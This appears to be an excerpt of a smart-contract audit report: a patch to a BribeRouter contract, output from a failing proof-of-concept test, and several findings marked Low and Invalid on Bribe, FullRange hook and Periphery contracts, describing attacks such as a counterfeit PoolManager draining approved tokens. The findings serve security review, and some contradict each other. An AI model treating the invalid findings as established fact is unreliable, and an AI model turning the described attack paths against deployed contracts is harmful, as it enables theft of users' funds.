 ///      route the complete buffer, but the balance remains in place until it can sustain a nonzero seven-day rate and,
 ///      during an active stream, matches or exceeds the reward still scheduled. Direct token donations join the next
 ///      successful route. No signal-weight check applies: a stream can start with zero signal. The payment token and
 ///      Bribe are immutable; transfers assume a standard, non-rebasing token.
 contract BribeRouter {
     using SafeERC20 for IERC20;
 
     /// @notice Immutable Auction payment token buffered for automatic Bribe rewards.
     IERC20 public immutable paymentToken;
     /// @notice Immutable Bribe that pulls and streams the buffered payment token.
     IBribe public immutable bribe;
 
     /// @notice Emitted after the Router's complete buffered balance is accepted by the paired Bribe.
     /// @param bribe Immutable Bribe that received and scheduled the reward.
     /// @param rewardToken Immutable payment token transferred to the Bribe.
     /// @param amount Complete pre-route Router balance transferred, in raw token units.
     event RewardRouted(address indexed bribe, address indexed rewardToken, uint256 amount);
 
     /// @notice Raised when either constructor dependency is zero or has no deployed code.
     error ZeroAddress();
 
     /// @notice Creates the fixed route between one payment token and its paired Bribe.
     /// @dev Requires nonzero, deployed dependencies. Does not check whether the Bribe has registered the payment token.
     /// @param bribe_ Bribe paired with the Auction and authorized to pull routed tokens.
     /// @param paymentToken_ Auction payment token held by this Router before distribution.
     constructor(IBribe bribe_, IERC20 paymentToken_) {
         if (
             address(bribe_) == address(0) || address(paymentToken_) == address(0) || address(bribe_).code.length == 0
                 || address(paymentToken_).code.length == 0
         ) revert ZeroAddress();
 
         paymentToken = paymentToken_;
         bribe = bribe_;
+        bribe_.registerRewardRouter(address(paymentToken_));
     }
 
     /// @notice Routes the complete payment-token balance into the paired Bribe when funding qualifies.
-    /// @dev Permissionless. Returns zero without changing state when the balance is zero, below `REWARD_DURATION` raw
-    ///      units, or below the Bribe's remaining scheduled reward. Otherwise, approves the exact balance for the Bribe
-    ///      to pull and restart its stream. A failure preserves the buffer. The full balance must fit the Bribe's
-    ///      remaining lifetime capacity; the cap never resets and exhaustion permanently prevents new funding for that
-    ///      token. Routing failure does not revert previously completed Auction purchases.
+    /// @dev Permissionless. Returns zero without changing state when the balance is zero or below `REWARD_DURATION` raw
+    ///      units. Otherwise, approves the exact balance for the Bribe to pull and restart its stream. The constructor
+    ///      permanently registers this Router so direct permissionless notifications cannot raise a live admission gate
+    ///      above its buffered balance. A failure preserves the buffer. The full balance must fit the Bribe's remaining
+    ///      lifetime capacity; the cap never resets and exhaustion permanently prevents new funding for that token.
+    ///      Routing failure does not revert previously completed Auction purchases.
     /// @return amount Raw payment-token units routed, or zero when the buffer must continue accumulating.
     function route() external returns (uint256 amount) {
         amount = paymentToken.balanceOf(address(this));
-        if (amount == 0 || amount < bribe.REWARD_DURATION() || amount < bribe.remainingReward(address(paymentToken))) {
+        if (amount == 0 || amount < bribe.REWARD_DURATION()) {
             return 0;
         }
 
         paymentToken.forceApprove(address(bribe), amount);
         bribe.notifyReward(address(paymentToken), amount);
 
         emit RewardRouted(address(bribe), address(paymentToken), amount);
     }
 }
```
### Affected files
- `packages/contracts/src/core/interfaces/IBribe.sol`
- `packages/contracts/src/core/Bribe.sol`
- `packages/contracts/src/core/BribeRouter.sol`
### Validation output

```
[output truncated: 1185 lines & 64.4853515625 KB skipped]
Ran 1 test suite in 9.33ms (1.49ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/minimal/Poc.t.sol:Poc
[FAIL: route blocked by attacker-raised remainingReward: 604800 != 0] test_Poc() (gas: 748151)

Encountered a total of 1 failing tests, 0 tests succeeded

Tip: Run `forge test --rerun` to retry only the 1 failed test
Tip: Run `forge test --debug --match-test <TEST_NAME>` to inspect one failing test in the debugger
```

---

# Bribe Surplus Has No Recovery Path
**#303311**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/core/Bribe.sol` (4 locations)
#### Lines 56-73 — _Stored accounting tracks registered tokens, rewards, lifetime notifications, and only the private rate-division remainder._

```
    address[] private _rewardTokens;
    /// @notice Whether a token belongs to the append-only reward-token registry.
    mapping(address token => bool isReward) public isRewardToken;
    /// @notice Current stream timestamps, raw-unit rate, and scaled index for a reward token.
    /// @dev Unregistered tokens return an all-zero `RewardData` value.
    mapping(address token => RewardData data) public rewardData;
    /// @notice Scaled cumulative index already incorporated for an account and reward token.
    mapping(address account => mapping(address token => uint256 paid)) public accountRewardPerSignalPaid;
    /// @notice An account's checkpointed, unclaimed reward in raw token units.
    /// @dev This excludes reward accrued since the account's latest checkpoint; use `earned` for the live amount.
    mapping(address account => mapping(address token => uint256 amount)) public rewards;
    /// @notice Cumulative raw units accepted through notifications for a reward token.
    /// @dev Counts fresh funding once and never resets. Excludes donations, remaining scheduled rewards,
    ///      and saved remainders.
    mapping(address token => uint256 amount) public lifetimeRewardNotified;

    /// @dev Saved rate-division remainder for this token's next qualifying stream; always below `REWARD_DURATION`.
    mapping(address token => uint256 amount) private _rewardRemainder;
```
⋯
#### Lines 181-205 — _Replacement budget includes only fresh amount, scheduled remaining reward, and saved rate remainder._

```
    function notifyReward(address rewardToken, uint256 amount) external override nonReentrant {
        _requireRewardToken(rewardToken);
        if (amount < REWARD_DURATION) revert RewardBelowDuration(amount);

        uint256 notified = lifetimeRewardNotified[rewardToken];
        uint256 maximum = MAX_LIFETIME_REWARD_AMOUNT;
        if (amount > maximum - notified) {
            revert RewardLifetimeCapExceeded(rewardToken, notified, amount, maximum);
        }

        uint256 remaining = remainingReward(rewardToken);
        if (amount < remaining) revert RewardBelowRemaining(amount, remaining);

        _updateReward(address(0), rewardToken);
        IERC20(rewardToken).safeTransferFrom(msg.sender, address(this), amount);

        RewardData storage data = rewardData[rewardToken];
        uint256 budget = amount + remaining + _rewardRemainder[rewardToken];
        data.rewardRate = budget / REWARD_DURATION;
        _rewardRemainder[rewardToken] = budget % REWARD_DURATION;
        data.lastUpdateTime = block.timestamp;
        data.periodFinish = block.timestamp + REWARD_DURATION;
        lifetimeRewardNotified[rewardToken] = notified + amount;

        emit RewardNotified(rewardToken, amount);
```
⋯
#### Lines 259-269 — _`remainingReward` reports only the active whole-unit scheduled stream and excludes other balances._

```
    /// @notice Returns the raw token units still scheduled in a reward token's active stream.
    /// @dev Computes `(periodFinish - block.timestamp) * rewardRate` while active and zero afterward. The result
    ///      excludes elapsed rewards, direct donations, and the saved rate-division remainder. Unregistered tokens
    ///      return zero.
    /// @param rewardToken Reward token whose current stream is queried.
    /// @return amount Raw token units remaining at the stored whole-unit-per-second rate.
    function remainingReward(address rewardToken) public view override returns (uint256 amount) {
        RewardData storage data = rewardData[rewardToken];
        if (block.timestamp >= data.periodFinish) return 0;
        return (data.periodFinish - block.timestamp) * data.rewardRate;
    }
```
⋯
#### Lines 324-335 — _The sole payout helper transfers only stored account rewards and has no surplus branch._

```
    /// @dev Clears and transfers one account's checkpointed whole-unit reward using checks-effects-interactions.
    /// @param account Entitled transfer recipient.
    /// @param rewardToken Reward token to transfer.
    /// @return amount Raw token units transferred, or zero when no checkpointed reward exists.
    function _claim(address account, address rewardToken) private returns (uint256 amount) {
        amount = rewards[account][rewardToken];
        if (amount == 0) return 0;

        rewards[account][rewardToken] = 0;
        IERC20(rewardToken).safeTransfer(account, amount);

        emit RewardPaid(account, rewardToken, amount);
```
## Description

The Bribe accounting model has no terminal disposition for tokens that are outside scheduled reward accounting. `notifyReward` carries only the current scheduled remainder and the private rate-division remainder into a replacement stream; it does not include direct token donations, zero-weight emissions, or account/index rounding surplus. Claims transfer only `rewards[account][rewardToken]`, and the contract exposes no rescue, surplus-assignment, or recycling operation. As a result, a direct donation or the unscheduled residue from a completed stream can remain permanently held by the Bribe without belonging to any claimant.
## Root cause

Bribe custody and claim accounting are not reconciled: the implementation admits only explicit notifications into streams and maintains no surplus ledger or recovery policy for balances outside those streams. The only carry mechanism is the bounded rate-division remainder, which excludes other surplus classes.
## Impact

Tokens sent directly to a Bribe, and dust or zero-signal value left after reward accounting, cannot be recovered or allocated through the implemented interface. This can permanently strand reward assets and causes the Bribe's token balance to diverge from the sum of all claimable rewards and future scheduled obligations.

---

# Unverified PoolManager Binding Enables Fund Theft
**#303325**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/fullrange/FullRangeFactory.sol`
#### Lines 40-47 — _Factory constructor accepts any non-empty-code manager and immutably binds it to the hook._

```
    /// @notice Deploys the CREATE2 shared hook using a pre-mined permission-compatible salt.
    constructor(IPoolManager manager, address initialOwner, address protocolRecipient, bytes32 hookSalt)
        Ownable(initialOwner)
    {
        if (address(manager).code.length == 0) revert InvalidInput();
        poolManager = manager;
        protocolFeeRecipient = protocolRecipient;
        hook = new FullRange{ salt: hookSalt }(manager, address(this));
```
### `Uploaded archive/packages/contracts/src/fullrange/FullRange.sol` (2 locations)
#### Lines 146-150 — _Hook constructor repeats only the code-length check and stores the factory after BaseHook initialization._

```
    /// @notice Connects the hook to its canonical PoolManager and registration factory.
    constructor(IPoolManager manager, address factory_) BaseHook(manager) {
        if (factory_ == address(0) || address(manager).code.length == 0) revert InvalidInput();
        factory = factory_;
    }
```
⋯
#### Lines 356-403 — _Manager return values drive settlement; negative deltas pull ERC-20s from the payer to the bound manager._

```
    function modifyLiquidity(PoolKey memory key, ModifyLiquidityParams memory params, address recipient)
        internal
        returns (OperationResult memory result)
    {
        result = abi.decode(
            poolManager.unlock(abi.encode(CallbackData(msg.sender, recipient, key, params))), (OperationResult)
        );
    }

    function _unlockCallback(bytes calldata data) internal returns (bytes memory) {
        CallbackData memory callback = abi.decode(data, (CallbackData));
        bytes32 id = PoolId.unwrap(callback.key.toId());
        FullRangeERC20 token = _pool(id);
        (BalanceDelta delta, BalanceDelta fees) = poolManager.modifyLiquidity(callback.key, callback.params, "");
        if (fees.amount0() < 0 || fees.amount1() < 0) revert InvalidDelta();
        // V4's caller delta includes accrued fees. Separate them before settling LP principal.
        int256 principal0 = int256(delta.amount0()) - int256(fees.amount0());
        int256 principal1 = int256(delta.amount1()) - int256(fees.amount1());
        if (callback.params.liquidityDelta > 0
                ? (principal0 > 0 || principal1 > 0)
                : (principal0 < 0 || principal1 < 0)) {
            revert InvalidDelta();
        }
        OperationResult memory result = OperationResult(
            uint256(principal0 < 0 ? -principal0 : principal0),
            uint256(principal1 < 0 ? -principal1 : principal1),
            uint128(fees.amount0()),
            uint128(fees.amount1())
        );
        (uint256 coinFees, uint256 baseFees) = _unsort(token, result.fees0, result.fees1);
        _credit(id, token.coin(), coinFees, token.creatorCoinRecipient());
        _credit(id, token.baseToken(), baseFees, token.creatorBaseRecipient());
        _settleDelta(callback.key.currency0, principal0, callback.sender, callback.recipient);
        _settleDelta(callback.key.currency1, principal1, callback.sender, callback.recipient);
        _takeFees(callback.key.currency0, result.fees0);
        _takeFees(callback.key.currency1, result.fees1);
        return abi.encode(result);
    }

    function _settleDelta(Currency currency, int256 delta, address payer, address recipient) private {
        if (delta < 0) {
            uint256 amount = uint256(-delta);
            poolManager.sync(currency);
            IERC20(Currency.unwrap(currency)).safeTransferFrom(payer, address(poolManager), amount);
            if (poolManager.settle() != amount) revert InvalidDelta();
        } else if (delta > 0) {
            poolManager.take(currency, recipient, uint256(delta));
        }
```
## Description

The factory's deployment guard treats any address with nonzero runtime bytecode as the V4 `PoolManager`, and the hook repeats the same code-length-only check before immutably binding that address. `ImmutableState.onlyPoolManager` then treats the bound address as authoritative without checking that it is the canonical implementation, while `FullRange._unlockCallback` accepts the manager's `modifyLiquidity` deltas and executes its `sync`, `settle`, and `take` calls. A counterfeit manager implementing the imported interface can therefore call the hook's callback, report negative principal deltas, and receive the caller's ERC-20s through the hook's `safeTransferFrom` settlement path. The hook's hook-address permission validation only constrains the CREATE2 address bits and does not authenticate the manager's code or behavior.
## Root cause

PoolManager authentication is reduced to a runtime-bytecode check. The immutable manager binding and callback authorization never verify the canonical PoolManager address, runtime code hash, or a trusted deployment identity before using manager-supplied deltas and settlement operations.
## Impact

If a factory is deployed with a counterfeit, wrong-chain, proxy-controlled, or later-replaced manager, initial seeding and subsequent liquidity additions can transfer users' approved Coin/base tokens to that manager without establishing corresponding V4 liquidity. A manager that disappears or changes behavior can instead permanently disable initialization, deposits, withdrawals, and fee collection for every pool bound to that factory.

---

# Creator-share fee split resettable by rotating protocol fee recipient
**#303328**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/fullrange/FullRange.sol`
#### Lines 414-432 — __credit skips fractional remainder carry when protocolFeeRecipient is zero, creating an owner-controlled timing lever over fee-split precision._

```
    function _credit(bytes32 id, address token, uint256 fees, address creatorRecipient) private {
        if (fees == 0) return;
        address protocolRecipient = IFullRangeFeeResolver(factory).protocolFeeRecipient();
        uint256 creatorAmount;
        if (protocolRecipient == address(0)) {
            creatorAmount = fees;
        } else {
            // Carry the fractional creator share across collections and recipient changes.
            uint256 numerator = fees * 7000 + _creatorRemainder[id][token];
            creatorAmount = numerator / 10_000;
            _creatorRemainder[id][token] = uint16(numerator % 10_000);
        }
        uint256 protocolAmount = fees - creatorAmount;
        claimable[id][creatorRecipient][token] += creatorAmount;
        if (protocolAmount != 0) claimable[id][protocolRecipient][token] += protocolAmount;
        poolClaimable[id][token] += fees;
        totalClaimable[token] += fees;
        emit FeesCredited(id, token, creatorRecipient, protocolRecipient, creatorAmount, protocolAmount);
    }
```
## Description

`FullRange._credit` tracks a per-market, per-token fractional remainder (`_creatorRemainder[id][token]`) only for the case where `protocolFeeRecipient` is nonzero; when the factory owner sets `protocolFeeRecipient` to the zero address, `_credit` instead routes 100% of fees to the creator and explicitly leaves the remainder unchanged (per the code at the `protocolRecipient == address(0)` branch). This is intended behavior per docs, but it does give the factory owner a lever: because a zero recipient skips the 70/30 math entirely and a nonzero recipient resumes the carried remainder, the fractional carry computation at any point depends on the full history of recipient toggling, and alternating cheaply between recipients lets the owner selectively harvest whole-unit credits timed around collection calls, as already flagged in the referenced `daybreak-blue` audit finding for a similar rotation vector.
## Root cause

`_credit`'s fractional remainder carry logic is bypassed (not reset, but skipped) whenever `protocolFeeRecipient == address(0)`, allowing the owner to control when the 70/30 split formula applies versus when 100% goes to creator, enabling precision-timing fee-split manipulation across many small collections.
## Impact

A privileged but only semi-trusted factory owner can manipulate fee split outcomes slightly in their favor across collection cycles by toggling `protocolFeeRecipient`, extracting marginally more of the fractional dust than an honest, static configuration would yield. This requires owner privilege and is limited to sub-unit value per manipulation, bounded by `collect()`/`_hasCollectibleFees` gating, but it is a repeatable griefing/skimming vector against creator recipients.

---

# Withdrawal Slippage Uses Nominal Token Amounts
**#303330**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/fullrange/FullRangeFactory.sol`
#### Lines 50-65 — _Asset admission checks only the externally returned decimal values before registering the market._

```
    /// @notice Registers one market for existing ERC20s; duplicate markets revert. Only the caller can make its first deposit.
    /// @dev Both assets must expose ERC20 decimals between zero and eighteen, inclusive.
    function create(address coin, address base, address poolOwner, address coinRecipient, address baseRecipient)
        external
        returns (FullRangeERC20 pool)
    {
        if (IERC20Metadata(coin).decimals() > 18 || IERC20Metadata(base).decimals() > 18) revert InvalidInput();
        pool = hook.registerPool(
            FullRangeERC20.Config({
                creator: msg.sender,
                coin: coin,
                baseToken: base,
                owner: poolOwner,
                coinRecipient: coinRecipient,
                baseRecipient: baseRecipient
            })
```
### `Uploaded archive/packages/contracts/src/fullrange/FullRange.sol` (2 locations)
#### Lines 220-230 — _Withdrawal validates minimums against the nominal OperationResult before burning shares._

```
        if (!initialized[id] || params.deadline < block.timestamp || params.liquidity == 0) revert InvalidInput();
        _checkRecipient(params.to, token);
        if (params.liquidity > token.balanceOf(msg.sender)) revert InvalidInput();
        uint128 liquidityToRemove = _liquidityForShares(id, params.liquidity);
        OperationResult memory result = modifyLiquidity(
            key,
            ModifyLiquidityParams(TICK_LOWER, TICK_UPPER, -int256(uint256(liquidityToRemove)), bytes32(0)),
            params.to
        );
        if (result.amount0 < params.amount0Min || result.amount1 < params.amount1Min) revert Slippage();
        token.burn(msg.sender, params.liquidity);
```
⋯
#### Lines 395-403 — _Positive principal deltas are paid with poolManager.take without a recipient balance-delta check._

```
    function _settleDelta(Currency currency, int256 delta, address payer, address recipient) private {
        if (delta < 0) {
            uint256 amount = uint256(-delta);
            poolManager.sync(currency);
            IERC20(Currency.unwrap(currency)).safeTransferFrom(payer, address(poolManager), amount);
            if (poolManager.settle() != amount) revert InvalidDelta();
        } else if (delta > 0) {
            poolManager.take(currency, recipient, uint256(delta));
        }
```
## Description

The factory admits any contract that returns a `decimals()` value at most 18, but the liquidity flow later treats both assets as exact-transfer ERC-20s. During withdrawal, `_unlockCallback` derives a nominal principal amount and `_settleDelta` sends that amount with `poolManager.take`; neither path measures the recipient's balance change. `removeLiquidity` then compares the nominal `OperationResult` against `amount0Min` and `amount1Min`, so a token that begins with exact behavior and later becomes fee-on-transfer can satisfy the caller's minimums while delivering less principal. This is reachable after a token-admin behavior change without any FullRange state migration or compatibility revalidation.
## Root cause

The withdrawal slippage check uses PoolManager-reported nominal deltas rather than the recipient's realized token balance delta, while token admission does not establish immutable exact-transfer behavior. `poolManager.take` is treated as an exact transfer even though its ERC-20 path does not verify the recipient's received amount.
## Impact

An LP can burn shares while receiving less underlying principal than the post-execution minimums they supplied, with the shortfall retained by the token's transfer logic. The discrepancy is realized on every affected withdrawal and is not visible in the hook's returned nominal amounts or slippage checks.

---

# Zero-liquidity fee poke skip trusts stale checkpoint under fee-growth wraparound
**#303334**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/fullrange/FullRange.sol`
#### Lines 434-444 — _Standalone reimplementation of V4 fee-growth-to-owed-fees math used purely as a gas-saving skip guard._

```
    function _hasCollectibleFees(bytes32 id) private view returns (bool) {
        PoolId poolId = PoolId.wrap(id);
        (uint128 liquidity, uint256 last0, uint256 last1) =
            poolManager.getPositionInfo(poolId, address(this), TICK_LOWER, TICK_UPPER, bytes32(0));
        (uint256 growth0, uint256 growth1) = poolManager.getFeeGrowthInside(poolId, TICK_LOWER, TICK_UPPER);
        // Fee growth deliberately wraps in V4; match Position.update's modular subtraction exactly.
        unchecked {
            return FullMath.mulDiv(growth0 - last0, liquidity, 1 << 128) != 0
                || FullMath.mulDiv(growth1 - last1, liquidity, 1 << 128) != 0;
        }
    }
```
## Description

`_hasCollectibleFees` estimates collectible fees by independently recomputing `growth - last` under `unchecked` modular arithmetic and multiplying by current liquidity, intentionally mirroring V4's wraparound semantics for `feeGrowthInside`. This is a deliberate, tested design (see `FullRangeSecurityAuditTest`) to skip a real `modifyLiquidity(0)` poke when neither leg has a whole raw unit owed, avoiding needless V4 state churn. However, this estimator reads `getPositionInfo`/`getFeeGrowthInside` independently from the actual `modifyLiquidity` call that would occur if invoked, meaning any discrepancy between the view-time snapshot and the state at call time (e.g., if sandwiched by a swap, or if the position's checkpointed `last0/last1` and current `growth0/growth1` disagree due to concurrent fee accrual not yet reflected in the hook's own bookkeeping) could allow fees to accrue invisibly between collections, which the hook does not treat as an error path and the documentation explicitly accepts as a sub-unit rounding loss.
## Root cause

`_hasCollectibleFees` duplicates V4's internal fee-growth-to-owed-fees computation in Solidity rather than calling `modifyLiquidity(0)` unconditionally, creating a secondary code path whose correctness depends on exactly mirroring V4 internals; any future V4 upgrade or edge case in `Position.update`'s modular arithmetic that diverges from this local reimplementation would silently misclassify collectible fees as zero.
## Impact

This is primarily a low-severity, documented rounding/precision limitation rather than an exploitable fund-draining bug: at most a sub-whole-raw-unit per currency per update is permanently lost to truncation, consistent with the project's accepted exclusion for V4 fee-granularity loss. No unauthorized value transfer occurs; the risk is purely accounting precision drift for low-decimal paired tokens.

---

# Protocol Fee Routing Is Correctly Scoped
**#303335**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/fullrange/FullRangeFactory.sol` (3 locations)
#### Lines 12-24 — _Factory owns one global protocol recipient and maintains discovery registries._

```
contract FullRangeFactory is Ownable2Step {
    /// @notice Canonical singleton holding all positions managed by the shared hook.
    IPoolManager public immutable poolManager;
    /// @notice Shared hook enforcing canonical initialization and registered full-range positions.
    FullRange public immutable hook;
    /// @notice Protocol recipient for both tokens across all pools; zero disables the protocol share.
    address public protocolFeeRecipient;
    /// @notice Canonical LP token for each full-range market.
    mapping(bytes32 id => address pool) public poolForId;
    /// @notice Whether an LP token was created by the hook and registered by this factory.
    mapping(address pool => bool registered) public isPool;
    /// @notice All registered LP tokens in creation order.
    address[] public allPools;
```
⋯
#### Lines 40-47 — _Constructor initializes the nonzero-or-zero-permitted recipient and deploys the canonical hook bound to this factory._

```
    /// @notice Deploys the CREATE2 shared hook using a pre-mined permission-compatible salt.
    constructor(IPoolManager manager, address initialOwner, address protocolRecipient, bytes32 hookSalt)
        Ownable(initialOwner)
    {
        if (address(manager).code.length == 0) revert InvalidInput();
        poolManager = manager;
        protocolFeeRecipient = protocolRecipient;
        hook = new FullRange{ salt: hookSalt }(manager, address(this));
```
⋯
#### Lines 74-77 — _Protocol recipient setter is owner-only and permits zero as the disable value._

```
    /// @notice Owner-only update for future collections; zero sends all fees to creator recipients.
    function setProtocolFeeRecipient(address recipient) external onlyOwner {
        protocolFeeRecipient = recipient;
        emit ProtocolFeeRecipientSet(recipient);
```
### `Uploaded archive/packages/contracts/src/fullrange/FullRange.sol` (2 locations)
#### Lines 95-110 — _The hook stores an immutable factory and namespaces fee credits and creator remainders by pool and token._

```
    /// @notice Factory authorized to register markets and resolve protocol fee configuration.
    address public immutable factory;
    /// @notice Registered LP token for each Uniswap PoolId.
    mapping(bytes32 id => PoolInfo info) public poolInfo;
    /// @notice Whether the creator has completed the market's initial deposit.
    mapping(bytes32 id => bool seeded) public initialized;
    /// @notice Total raw shares minted by the initial deposit, including the permanent minimum lock.
    mapping(bytes32 id => uint128 shares) public genesisShares;
    /// @notice Collected fees owed to each beneficiary, separated by market and token.
    mapping(bytes32 id => mapping(address beneficiary => mapping(address token => uint256 amount))) public claimable;
    /// @notice Total unclaimed fees for a token within one market.
    mapping(bytes32 id => mapping(address token => uint256 amount)) public poolClaimable;
    /// @notice Total unclaimed fees for a token across all markets managed by this hook.
    mapping(address token => uint256 amount) public totalClaimable;
    /// @dev Fractional creator share per market and token, below the 10,000 basis-point denominator.
    mapping(bytes32 id => mapping(address token => uint16 remainder)) private _creatorRemainder;
```
⋯
#### Lines 414-431 — _Credit realization resolves the current factory recipient, preserves the remainder in enabled mode, leaves it unchanged in disabled mode, and records beneficiary-specific claims._

```
    function _credit(bytes32 id, address token, uint256 fees, address creatorRecipient) private {
        if (fees == 0) return;
        address protocolRecipient = IFullRangeFeeResolver(factory).protocolFeeRecipient();
        uint256 creatorAmount;
        if (protocolRecipient == address(0)) {
            creatorAmount = fees;
        } else {
            // Carry the fractional creator share across collections and recipient changes.
            uint256 numerator = fees * 7000 + _creatorRemainder[id][token];
            creatorAmount = numerator / 10_000;
            _creatorRemainder[id][token] = uint16(numerator % 10_000);
        }
        uint256 protocolAmount = fees - creatorAmount;
        claimable[id][creatorRecipient][token] += creatorAmount;
        if (protocolAmount != 0) claimable[id][protocolRecipient][token] += protocolAmount;
        poolClaimable[id][token] += fees;
        totalClaimable[token] += fees;
        emit FeesCredited(id, token, creatorRecipient, protocolRecipient, creatorAmount, protocolAmount);
```
## Description

The reviewed flow has no confirmed security defect. `setProtocolFeeRecipient` is exposed only through `onlyOwner` on `FullRangeFactory`, whose ownership is inherited from OpenZeppelin `Ownable2Step`; the setter permits zero as the documented global disable state and changes only `protocolFeeRecipient`. `FullRange._credit` resolves that value from the hook's immutable `factory`, applies the same setting to every pool, and stores each newly realized beneficiary amount under its current beneficiary without rewriting prior `claimable` entries. The creator remainder is keyed by `(pool id, token)`, is updated only during enabled splits, and is therefore preserved across disabled periods and recipient changes.
## Root cause

No security-relevant root cause was found in this flow. The implementation separates prospective protocol-recipient configuration from historical claim keys and namespaces fractional state by pool and token.
## Impact

No unauthorized account can change the global protocol recipient through this flow, and toggling or rotating the recipient cannot redirect already-recorded credits or pool principal. The only operational consequence is the intended one: future collections during a zero-recipient period allocate all realized fees to the current creator recipient, while later enabled collections resume using the carried per-market/per-token remainder.

---

# Periphery helpers do not authenticate their Launchpad dependency
**#303372**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/periphery/Periphery.sol` (4 locations)
#### Lines 51-58 — _The constructor's only dependency validation is zero-address and runtime-code presence before immutable assignment._

```
    /// @notice Binds the helper permanently to one deployed Launchpad.
    /// @param launchpad_ Canonical Launchpad used to resolve every Mine and Fund.
    constructor(Launchpad launchpad_) {
        if (address(launchpad_) == address(0) || address(launchpad_).code.length == 0) {
            revert InvalidLaunchpad(address(launchpad_));
        }
        launchpad = launchpad_;
    }
```
⋯
#### Lines 79-88 — _Redemption trusts `launchpad.getLaunch` and uses the returned record without validating resolver identity or graph membership._ — _redeem trusts launchpad.getLaunch() unconditionally_

```
        if (block.timestamp > deadline) revert DeadlinePassed(deadline);
        if (coinAmount == 0) revert ZeroAmount();
        if (tokens.length == 0 || tokens.length != minimumAmounts.length) revert InvalidArrayLengths();
        Launchpad.LaunchRecord memory record = launchpad.getLaunch(launchId);
        if (receiver == address(0) || receiver == address(this) || receiver == record.fund) {
            revert InvalidReceiver(receiver);
        }

        amounts = _snapshotBalances(record.coin, receiver, tokens);
        _redeemFund(record, coinAmount, receiver, tokens, minimumAmounts, deadline);
```
⋯
#### Lines 117-133 — _The mining path likewise trusts resolver-returned Mine and USDG addresses; these calls demonstrate that the immutable resolver is the sole dependency source._ — _mine trusts launchpad.getLaunch() unconditionally_

```
        Launchpad.LaunchRecord memory record = launchpad.getLaunch(launchId);
        if (miner == address(0) || miner == address(this) || miner == record.fund) revert InvalidMiner(miner);
        Mine coreMine = Mine(record.mine);
        Mine.Slot memory previousSlot = coreMine.slot();
        if (expectedEpochId != previousSlot.epochId) {
            revert Mine.EpochIdMismatch(expectedEpochId, previousSlot.epochId);
        }
        paymentAmount = coreMine.currentPrice();
        if (paymentAmount > maximumPayment) revert Mine.MaximumPaymentExceeded(paymentAmount, maximumPayment);

        IERC20 usdg = IERC20(address(launchpad.usdg()));
        if (paymentAmount != 0) {
            usdg.safeTransferFrom(msg.sender, address(this), paymentAmount);
            usdg.forceApprove(record.mine, paymentAmount);
        }
        emit MiningStarted(msg.sender, record.mine, expectedEpochId);
        coreMine.mine(miner, expectedEpochId, deadline, maximumPayment, message);
```
⋯
#### Lines 153-161 — _The returned Coin and Fund are trusted; the helper pulls user Coin and approves the returned Fund before invoking its redemption entrypoint._

```
        IERC20 coin = IERC20(record.coin);
        Fund fund = Fund(record.fund);
        uint256 fundBalance = coin.balanceOf(record.fund);
        emit RedemptionStarted(msg.sender, record.fund, receiver, coinAmount);
        if (fundBalance != 0) fund.burnCoin(fundBalance);
        coin.safeTransferFrom(msg.sender, address(this), coinAmount);
        coin.forceApprove(record.fund, coinAmount);
        fund.redeem(coinAmount, receiver, tokens, minimumAmounts, deadline);
        coin.forceApprove(record.fund, 0);
```
### `Uploaded archive/packages/contracts/src/periphery/OperationsPeriphery.sol` (3 locations)
#### Lines 48-53 — _Identical weak-validation pattern duplicated in OperationsPeriphery's constructor._ — _Constructor accepts any nonzero code-bearing address and stores it immutably._

```
    /// @notice Binds this helper to one Launchpad for its lifetime.
    /// @param launchpad_ Nonzero deployed Launchpad whose Coins this helper maintains.
    constructor(Launchpad launchpad_) {
        if (address(launchpad_) == address(0) || address(launchpad_).code.length == 0) revert InvalidInput();
        launchpad = launchpad_;
    }
```
⋯
#### Lines 57-70 — _run resolves the launch record and relies on the returned Resonance for strategy validation._

```
    function run(
        uint256 launchId,
        address[] calldata strategies,
        address[] calldata beneficiaries,
        uint256 burnAmount,
        uint256 deadline
    ) external nonReentrant returns (uint256 completed, uint256 failed) {
        if (block.timestamp > deadline) revert DeadlinePassed();
        _validateList(strategies);
        _validateList(beneficiaries);
        Launchpad.LaunchRecord memory record = launchpad.getLaunch(launchId);
        Resonance resonance = Resonance(record.resonance);
        for (uint256 i; i < strategies.length; ++i) {
            if (!resonance.isStrategyRegistered(strategies[i])) revert InvalidInput();
```
⋯
#### Lines 94-126 — _perform dispatches maintenance calls using addresses supplied by the unverified record._

```
    /// @dev Self-only isolated call. All targets derive from the validated launch graph or registered strategy.
    function perform(Launchpad.LaunchRecord calldata record, Kind kind, address target, uint256 burnAmount)
        external
        returns (uint256 amount)
    {
        if (msg.sender != address(this)) revert OnlySelf();
        Resonance resonance = Resonance(record.resonance);
        if (kind == Kind.Revenue) {
            uint256 pending = launchpad.usdg().balanceOf(record.resonanceRouter);
            if (
                resonance.totalSignalWeight() == 0 || pending < resonance.REWARD_DURATION()
                    || pending < resonance.remainingRevenue()
            ) return 0;
            return ResonanceRouter(record.resonanceRouter).route();
        }
        if (kind == Kind.Distribution) {
            if (resonance.earnedRevenue(target) == 0) return 0;
            return resonance.distributeRevenue(target);
        }
        if (kind == Kind.Rewards) {
            Bribe bribe = Bribe(resonance.bribeFor(target));
            if (bribe.totalSignalWeight() == 0) return 0;
            return BribeRouter(resonance.bribeRouterFor(target)).route();
        }
        if (kind == Kind.Payment) {
            amount = Mine(record.mine).claimablePayment(target);
            if (amount != 0) Mine(record.mine).claimPayment(target);
            return amount;
        }
        uint256 balance = IERC20(record.coin).balanceOf(record.fund);
        amount = balance < burnAmount ? balance : burnAmount;
        if (amount != 0) Fund(record.fund).burnCoin(amount);
    }
```
### `Uploaded archive/packages/contracts/test/minimal/PeripheryDeployment.t.sol`
#### Lines 13-26 — _Test fixture proves an empty, non-functional contract satisfies the constructor's Launchpad check._

```
contract PeripheryDeploymentBinding { }

/// @dev Run this environment-driven suite separately with --threads 1.
